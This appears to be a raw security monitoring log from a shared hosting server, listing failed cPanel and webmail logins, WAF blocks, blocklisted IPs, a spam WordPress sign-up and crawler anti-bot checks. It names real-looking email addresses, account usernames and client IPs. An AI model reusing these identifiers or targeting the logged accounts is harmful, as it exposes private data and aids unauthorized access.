47.128.96.122 - - [09/Jun/2026:17:52:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001816&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmiss-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027527 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/miss-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.34.68.33
country_id: 1282988
description:
[2026-06-09 17:51:33 +0000] info [cpaneld] 27.34.68.33 - tchambainvesttg "GET /login/?login_only=1&user=tchambainvesttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvesttg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [09/Jun/2026:17:51:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737325&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcierea-ptci%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027469 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cierea-ptci/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.81.247.244
country_id: 102358
description:
[2026-06-09 17:51:45 +0000] info [cpaneld] 178.81.247.244 - tchambainve "GET /login/?login_only=1&user=tchambainve&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainve (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.38.87.21
country_id: 3469034
description:
[2026-06-09 17:52:26 +0000] info [cpaneld] 177.38.87.21 - tchamba1 "GET /login/?login_only=1&user=tchamba1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamba1 (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [09/Jun/2026:17:52:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737836&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffelix-kadanga%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027571 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/felix-kadanga/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.143.127.28
country_id: 1210997
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en/a-propos HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.164.85.172
country_id: 3469034
description:
[2026-06-09 17:52:16 +0000] info [cpaneld] 45.164.85.172 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.205.144
country_id: 2363686
description:
[2026-06-09 17:52:10 +0000] info [webmaild] 196.168.205.144 - dr.issifou@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.35.187
country_id: 3658394
description:
[2026-06-09 17:52:19 +0000] info [cpaneld] 191.99.35.187 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 86.238.156.12
country_id: 3017382
domain: wellcity.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [09/Jun/2026:17:53:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921944&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fagbanga-karite-alaffia-sarl-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027635 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/agbanga-karite-alaffia-sarl-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [09/Jun/2026:17:54:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920597&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faffaire-madjoulba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027673 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/affaire-madjoulba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.204.89.82
country_id: 192950
domain: auditeccandco.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/auditeccandco.com/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [09/Jun/2026:17:55:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855021&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpato-kpatcha%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027756 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pato-kpatcha/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:17:55:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790058&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkollins-newman%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027730 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kollins-newman/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jun  9 17:55:36 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [09/Jun/2026:17:57:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050646&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdr-ayigan-oscar-dalmeida%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027825 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dr-ayigan-oscar-dalmeida/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:17:56:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883863&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faffaire-madjoulba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027781 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/affaire-madjoulba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [09/Jun/2026:17:56:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13344109&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexamens-du-baccalaureat-deuxieme-partie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027794 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/examens-du-baccalaureat-deuxieme-partie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [09/Jun/2026:17:58:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379819&pdata=https%253A%252F%252Fcfpj.tg%252Fhistorique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027889 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/historique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [09/Jun/2026:17:59:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934446&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcour-constitutionnelle-sud-africaine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027953 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cour-constitutionnelle-sud-africaine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.179
country_id: 1880251
description:
47.128.96.179 - - [09/Jun/2026:18:01:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10446234&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-supprime-visa-entree-africains%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028095 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-supprime-visa-entree-africains/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.179


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-03.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.27
country_id: 6252001
description:
205.169.39.27 - - [09/Jun/2026:18:02:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593941&pdata=http%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253Dinfo%2540matosshop.tg%2526id%253DmmFq1esEHopkOzTGkUZi0-1781022751&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028154 HTTP/1.1" 302 0 www.matosshop.tg "http://www.matosshop.tg/cgi-sys/bxd.cgi?a=info@matosshop.tg&id=mmFq1esEHopkOzTGkUZi0-1781022751" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.27


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Your Highest Prize vamvozmviigr.blogspot.hu jg||Email:zacheryandrews@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:18:02:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723529&pdata=https%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253Dinfo%2540matosshop.tg%2526id%253DmmFq1esEHopkOzTGkUZi0-1781022751&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028140 HTTP/2.0" 302 0 www.matosshop.tg "https://www.matosshop.tg/cgi-sys/bxd.cgi?a=info@matosshop.tg&id=mmFq1esEHopkOzTGkUZi0-1781022751" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.16
country_id: 6252001
description:
205.169.39.16 - - [09/Jun/2026:18:02:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950938&pdata=http%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253Dinfo%2540matosshop.tg%2526id%253DmmFq1esEHopkOzTGkUZi0-1781022751&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028154 HTTP/1.1" 302 0 www.matosshop.tg "http://www.matosshop.tg/cgi-sys/bxd.cgi?a=info@matosshop.tg&id=mmFq1esEHopkOzTGkUZi0-1781022751" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-09 18:03:32 +0000] info [cpaneld] 185.213.83.243 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-09 18:04:09 +0000] info [whostmgrd] 104.28.192.94 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-09 18:04:08 +0000] info [whostmgrd] 104.28.192.94 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [09/Jun/2026:18:03:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7391130&pdata=https%253A%252F%252Ftdn.tg%252Feleve-14-ans-enceinte-2-filles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028195 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/eleve-14-ans-enceinte-2-filles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.7
country_id: 6252001
description:
205.169.39.7 - - [09/Jun/2026:18:04:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778055&pdata=https%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253Dinfo%2540matosshop.tg%2526id%253DmmFq1esEHopkOzTGkUZi0-1781022751&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028296 HTTP/2.0" 302 0 www.matosshop.tg "https://www.matosshop.tg/cgi-sys/bxd.cgi?a=info@matosshop.tg&id=mmFq1esEHopkOzTGkUZi0-1781022751" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.7


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [09/Jun/2026:18:04:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989270&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F3e-mandat-au-niger%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028267 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/3e-mandat-au-niger/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [09/Jun/2026:18:06:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6384532&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flaboratoire-danalyses-de-biologie-medicale-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028370 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/laboratoire-danalyses-de-biologie-medicale-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 156.38.73.89
country_id: 2363686
description:
156.38.73.89 - - [09/Jun/2026:18:05:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051159&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-liste-microfinances-agreees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028316 HTTP/1.1" 302 0 tdn.tg "https://tdn.tg/togo-liste-microfinances-agreees/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:156.38.73.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [09/Jun/2026:18:05:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843494&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fwinds-impact-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028318 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/winds-impact-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [09/Jun/2026:18:05:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327496&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-fecafoot%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028332 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-fecafoot/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 18:06:09 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.114.147.148
country_id: 587116
domain: letabloid.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/letabloid.tg/10-mesures-sociales-de-faure-une-manoeuvre-destinee-a-desamorcer-des-revendications-syndicales-et-retarder-une-explosion-sociale-pour-la-dmk/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.114.147.148
country_id: 587116
domain: letabloid.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/letabloid.tghttp/letabloid.tg/10-mesures-sociales-de-faure-une-manoeuvre-destinee-a-desamorcer-des-revendications-syndicales-et-retarder-une-explosion-sociale-pour-la-dmk/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:18:06:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580379&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-tomegah-dogbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028401 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-tomegah-dogbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [09/Jun/2026:18:07:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039641&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fwinds-impact-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028434 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/winds-impact-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.6
country_id: 6252001
description:
205.169.39.6 - - [09/Jun/2026:18:09:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854298&pdata=http%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253Dinfo%2540matosshop.tg%2526id%253DmmFq1esEHopkOzTGkUZi0-1781022751&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028558 HTTP/1.1" 302 0 www.matosshop.tg "http://www.matosshop.tg/cgi-sys/bxd.cgi?a=info@matosshop.tg&id=mmFq1esEHopkOzTGkUZi0-1781022751" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.156.114.92
country_id: 1522867
description:
[2026-06-09 18:09:40 +0000] info [cpaneld] 45.156.114.92 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.7.223.198
country_id: 3895114
description:
[2026-06-09 18:09:37 +0000] info [cpaneld] 38.7.223.198 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.135.93.186
country_id: 3077311
description:
[2026-06-09 18:09:46 +0000] info [cpaneld] 46.135.93.186 - devbase "GET /login/?login_only=1&user=devbase&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbase (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.217.205.148
country_id: 3996063
description:
[2026-06-09 18:09:49 +0000] info [cpaneld] 189.217.205.148 - devbasetg "GET /login/?login_only=1&user=devbasetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbasetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.0.38.171
country_id: 2464461
description:
[2026-06-09 18:10:07 +0000] info [cpaneld] 197.0.38.171 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.138
country_id: 1880251
description:
47.128.96.138 - - [09/Jun/2026:18:10:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593966&pdata=https%253A%252F%252Ftdn.tg%252Facheter-un-terrain-securise-et-construire-sa-maison-au-togo-le-fortim21-veut-proteger-les-consommateurs-contre-les-arnaques-et-escroqueries%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028612 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/acheter-un-terrain-securise-et-construire-sa-maison-au-togo-le-fortim21-veut-proteger-les-consommateurs-contre-les-arnaques-et-escroqueries/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.138


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
